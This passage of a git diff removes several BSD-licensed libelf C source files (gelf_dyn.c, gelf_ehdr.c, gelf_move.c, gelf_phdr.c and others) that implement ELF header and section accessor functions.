-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || dst == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_CAP) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_CAP, ec, e->e_version);
-
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-
-		cap32 = (Elf32_Cap *) d->d_data.d_buf + ndx;
-
-		dst->c_tag  = cap32->c_tag;
-		dst->c_un.c_val = (Elf64_Xword) cap32->c_un.c_val;
-
-	} else {
-
-		cap64 = (Elf64_Cap *) d->d_data.d_buf + ndx;
-
-		*dst = *cap64;
-	}
-
-	return (dst);
-}
-
-int
-gelf_update_cap(Elf_Data *ed, int ndx, GElf_Cap *gc)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	Elf32_Cap *cap32;
-	Elf64_Cap *cap64;
-	uint32_t sh_type;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || gc == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_CAP) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	msz = _libelf_msize(ELF_T_CAP, ec, e->e_version);
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (ec == ELFCLASS32) {
-		cap32 = (Elf32_Cap *) d->d_data.d_buf + ndx;
-
-		LIBELF_COPY_U32(cap32, gc, c_tag);
-		LIBELF_COPY_U32(cap32, gc, c_un.c_val);
-	} else {
-		cap64 = (Elf64_Cap *) d->d_data.d_buf + ndx;
-
-		*cap64 = *gc;
-	}
-
-	return (1);
-}
diff --git a/src/libelf/gelf_checksum.c b/src/libelf/gelf_checksum.c
deleted file mode 100644
index af707da..0000000
--- a/src/libelf/gelf_checksum.c
+++ /dev/null
@@ -1,58 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <gelf.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_checksum.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-long
-elf32_checksum(Elf *e)
-{
-	return (_libelf_checksum(e, ELFCLASS32));
-}
-
-long
-elf64_checksum(Elf *e)
-{
-	return (_libelf_checksum(e, ELFCLASS64));
-}
-
-long
-gelf_checksum(Elf *e)
-{
-	int ec;
-	if (e == NULL ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0L);
-	}
-	return (_libelf_checksum(e, ec));
-}
diff --git a/src/libelf/gelf_dyn.c b/src/libelf/gelf_dyn.c
deleted file mode 100644
index 2631026..0000000
--- a/src/libelf/gelf_dyn.c
+++ /dev/null
@@ -1,150 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <limits.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_dyn.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-GElf_Dyn *
-gelf_getdyn(Elf_Data *ed, int ndx, GElf_Dyn *dst)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	Elf32_Dyn *dyn32;
-	Elf64_Dyn *dyn64;
-	uint32_t sh_type;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || dst == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_DYN) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_DYN, ec, e->e_version);
-
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-		dyn32 = (Elf32_Dyn *) d->d_data.d_buf + ndx;
-
-		dst->d_tag      = dyn32->d_tag;
-		dst->d_un.d_val = (Elf64_Xword) dyn32->d_un.d_val;
-
-	} else {
-
-		dyn64 = (Elf64_Dyn *) d->d_data.d_buf + ndx;
-
-		*dst = *dyn64;
-	}
-
-	return (dst);
-}
-
-int
-gelf_update_dyn(Elf_Data *ed, int ndx, GElf_Dyn *ds)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	Elf32_Dyn *dyn32;
-	Elf64_Dyn *dyn64;
-	uint32_t sh_type;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || ds == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_DYN) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	msz = _libelf_msize(ELF_T_DYN, ec, e->e_version);
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (ec == ELFCLASS32) {
-		dyn32 = (Elf32_Dyn *) d->d_data.d_buf + ndx;
-
-		LIBELF_COPY_S32(dyn32, ds, d_tag);
-		LIBELF_COPY_U32(dyn32, ds, d_un.d_val);
-	} else {
-		dyn64 = (Elf64_Dyn *) d->d_data.d_buf + ndx;
-
-		*dyn64 = *ds;
-	}
-
-	return (1);
-}
diff --git a/src/libelf/gelf_ehdr.c b/src/libelf/gelf_ehdr.c
deleted file mode 100644
index 1efd817..0000000
--- a/src/libelf/gelf_ehdr.c
+++ /dev/null
@@ -1,168 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <libelf.h>
-#include <limits.h>
-#include <string.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_ehdr.c 2268 2011-12-03 17:05:11Z jkoshy $");
-
-Elf32_Ehdr *
-elf32_getehdr(Elf *e)
-{
-	return (_libelf_ehdr(e, ELFCLASS32, 0));
-}
-
-Elf64_Ehdr *
-elf64_getehdr(Elf *e)
-{
-	return (_libelf_ehdr(e, ELFCLASS64, 0));
-}
-
-GElf_Ehdr *
-gelf_getehdr(Elf *e, GElf_Ehdr *d)
-{
-	int ec;
-	Elf32_Ehdr *eh32;
-	Elf64_Ehdr *eh64;
-
-	if (d == NULL || e == NULL ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-		if ((eh32 = _libelf_ehdr(e, ELFCLASS32, 0)) == NULL)
-			return (NULL);
-
-		(void) memcpy(d->e_ident, eh32->e_ident,
-		    sizeof(eh32->e_ident));
-		d->e_type		= eh32->e_type;
-		d->e_machine		= eh32->e_machine;
-		d->e_version		= eh32->e_version;
-		d->e_entry		= eh32->e_entry;
-		d->e_phoff		= eh32->e_phoff;
-		d->e_shoff		= eh32->e_shoff;
-		d->e_flags		= eh32->e_flags;
-		d->e_ehsize		= eh32->e_ehsize;
-		d->e_phentsize		= eh32->e_phentsize;
-		d->e_phnum		= eh32->e_phnum;
-		d->e_shentsize		= eh32->e_shentsize;
-		d->e_shnum		= eh32->e_shnum;
-		d->e_shstrndx		= eh32->e_shstrndx;
-
-		return (d);
-	}
-
-	assert(ec == ELFCLASS64);
-
-	if ((eh64 = _libelf_ehdr(e, ELFCLASS64, 0)) == NULL)
-		return (NULL);
-	*d = *eh64;
-
-	return (d);
-}
-
-Elf32_Ehdr *
-elf32_newehdr(Elf *e)
-{
-	return (_libelf_ehdr(e, ELFCLASS32, 1));
-}
-
-Elf64_Ehdr *
-elf64_newehdr(Elf *e)
-{
-	return (_libelf_ehdr(e, ELFCLASS64, 1));
-}
-
-void *
-gelf_newehdr(Elf *e, int ec)
-{
-	if (e != NULL &&
-	    (ec == ELFCLASS32 || ec == ELFCLASS64))
-		return (_libelf_ehdr(e, ec, 1));
-
-	LIBELF_SET_ERROR(ARGUMENT, 0);
-	return (NULL);
-}
-
-int
-gelf_update_ehdr(Elf *e, GElf_Ehdr *s)
-{
-	int ec;
-	void *ehdr;
-	Elf32_Ehdr *eh32;
-	Elf64_Ehdr *eh64;
-
-	if (s== NULL || e == NULL || e->e_kind != ELF_K_ELF ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (e->e_cmd == ELF_C_READ) {
-		LIBELF_SET_ERROR(MODE, 0);
-		return (0);
-	}
-
-	if ((ehdr = _libelf_ehdr(e, ec, 0)) == NULL)
-		return (0);
-
-	(void) elf_flagehdr(e, ELF_C_SET, ELF_F_DIRTY);
-
-	if (ec == ELFCLASS64) {
-		eh64 = (Elf64_Ehdr *) ehdr;
-		*eh64 = *s;
-		return (1);
-	}
-
-	eh32 = (Elf32_Ehdr *) ehdr;
-
-	(void) memcpy(eh32->e_ident, s->e_ident, sizeof(eh32->e_ident));
-
-	eh32->e_type      = s->e_type;
-	eh32->e_machine   = s->e_machine;
-	eh32->e_version   = s->e_version;
-	LIBELF_COPY_U32(eh32, s, e_entry);
-	LIBELF_COPY_U32(eh32, s, e_phoff);
-	LIBELF_COPY_U32(eh32, s, e_shoff);
-	eh32->e_flags     = s->e_flags;
-	eh32->e_ehsize    = s->e_ehsize;
-	eh32->e_phentsize = s->e_phentsize;
-	eh32->e_phnum     = s->e_phnum;
-	eh32->e_shentsize = s->e_shentsize;
-	eh32->e_shnum     = s->e_shnum;
-	eh32->e_shstrndx  = s->e_shstrndx;
-
-	return (1);
-}
diff --git a/src/libelf/gelf_fsize.c b/src/libelf/gelf_fsize.c
deleted file mode 100644
index 7eeac69..0000000
--- a/src/libelf/gelf_fsize.c
+++ /dev/null
@@ -1,62 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <gelf.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_fsize.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-size_t
-elf32_fsize(Elf_Type t, size_t c, unsigned int v)
-{
-	return (_libelf_fsize(t, ELFCLASS32, v, c));
-}
-
-size_t
-elf64_fsize(Elf_Type t, size_t c, unsigned int v)
-{
-	return (_libelf_fsize(t, ELFCLASS64, v, c));
-}
-
-size_t
-gelf_fsize(Elf *e, Elf_Type t, size_t c, unsigned int v)
-{
-
-	if (e == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (e->e_class == ELFCLASS32 || e->e_class == ELFCLASS64)
-		return (_libelf_fsize(t, e->e_class, v, c));
-
-	LIBELF_SET_ERROR(ARGUMENT, 0);
-	return (0);
-}
diff --git a/src/libelf/gelf_getclass.c b/src/libelf/gelf_getclass.c
deleted file mode 100644
index 214e602..0000000
--- a/src/libelf/gelf_getclass.c
+++ /dev/null
@@ -1,39 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <gelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_getclass.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-int
-gelf_getclass(Elf *e)
-{
-	return (e != NULL ? e->e_class : ELFCLASSNONE);
-}
diff --git a/src/libelf/gelf_move.c b/src/libelf/gelf_move.c
deleted file mode 100644
index d9e8993..0000000
--- a/src/libelf/gelf_move.c
+++ /dev/null
@@ -1,157 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <limits.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_move.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-GElf_Move *
-gelf_getmove(Elf_Data *ed, int ndx, GElf_Move *dst)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	Elf32_Move *move32;
-	Elf64_Move *move64;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || dst == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_MOVE) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_MOVE, ec, e->e_version);
-
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-
-		move32 = (Elf32_Move *) d->d_data.d_buf + ndx;
-
-		dst->m_value   = move32->m_value;
-		dst->m_info    = (Elf64_Xword) move32->m_info;
-		dst->m_poffset = (Elf64_Xword) move32->m_poffset;
-		dst->m_repeat  = move32->m_repeat;
-		dst->m_stride = move32->m_stride;
-	} else {
-
-		move64 = (Elf64_Move *) d->d_data.d_buf + ndx;
-
-		*dst = *move64;
-	}
-
-	return (dst);
-}
-
-int
-gelf_update_move(Elf_Data *ed, int ndx, GElf_Move *gm)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	Elf32_Move *move32;
-	Elf64_Move *move64;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || gm == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_MOVE) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	msz = _libelf_msize(ELF_T_MOVE, ec, e->e_version);
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (ec == ELFCLASS32) {
-		move32 = (Elf32_Move *) d->d_data.d_buf + ndx;
-
-		move32->m_value  = gm->m_value;
-		LIBELF_COPY_U32(move32, gm, m_info);
-		LIBELF_COPY_U32(move32, gm, m_poffset);
-		move32->m_repeat  = gm->m_repeat;
-		move32->m_stride = gm->m_stride;
-
-	} else {
-		move64 = (Elf64_Move *) d->d_data.d_buf + ndx;
-
-		*move64 = *gm;
-	}
-
-	return (1);
-}
diff --git a/src/libelf/gelf_phdr.c b/src/libelf/gelf_phdr.c
deleted file mode 100644
index ade82db..0000000
--- a/src/libelf/gelf_phdr.c
+++ /dev/null
@@ -1,178 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <gelf.h>
-#include <libelf.h>
-#include <limits.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_phdr.c 2268 2011-12-03 17:05:11Z jkoshy $");
-
-Elf32_Phdr *
-elf32_getphdr(Elf *e)
-{
-	return (_libelf_getphdr(e, ELFCLASS32));
-}
-
-Elf64_Phdr *
-elf64_getphdr(Elf *e)
-{
-	return (_libelf_getphdr(e, ELFCLASS64));
-}
-
-GElf_Phdr *
-gelf_getphdr(Elf *e, int index, GElf_Phdr *d)
-{
-	int ec;
-	Elf32_Ehdr *eh32;
-	Elf64_Ehdr *eh64;
-	Elf32_Phdr *ep32;
-	Elf64_Phdr *ep64;
-
-	if (d == NULL || e == NULL ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64) ||
-	    (e->e_kind != ELF_K_ELF) || index < 0) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-		if ((eh32 = _libelf_ehdr(e, ELFCLASS32, 0)) == NULL ||
-		    ((ep32 = _libelf_getphdr(e, ELFCLASS32)) == NULL))
-			return (NULL);
-
-		if (index >= eh32->e_phnum) {
-			LIBELF_SET_ERROR(ARGUMENT, 0);
-			return (NULL);
-		}
-
-		ep32 += index;
-
-		d->p_type   = ep32->p_type;
-		d->p_offset = ep32->p_offset;
-		d->p_vaddr  = (Elf64_Addr) ep32->p_vaddr;
-		d->p_paddr  = (Elf64_Addr) ep32->p_paddr;
-		d->p_filesz = (Elf64_Xword) ep32->p_filesz;
-		d->p_memsz  = (Elf64_Xword) ep32->p_memsz;
-		d->p_flags  = ep32->p_flags;
-		d->p_align  = (Elf64_Xword) ep32->p_align;
-
-	} else {
-		if ((eh64 = _libelf_ehdr(e, ELFCLASS64, 0)) == NULL ||
-		    (ep64 = _libelf_getphdr(e, ELFCLASS64)) == NULL)
-			return (NULL);
-
-		if (index >= eh64->e_phnum) {
-			LIBELF_SET_ERROR(ARGUMENT, 0);
-			return (NULL);
-		}
-
-		ep64 += index;
-
-		*d = *ep64;
-	}
-
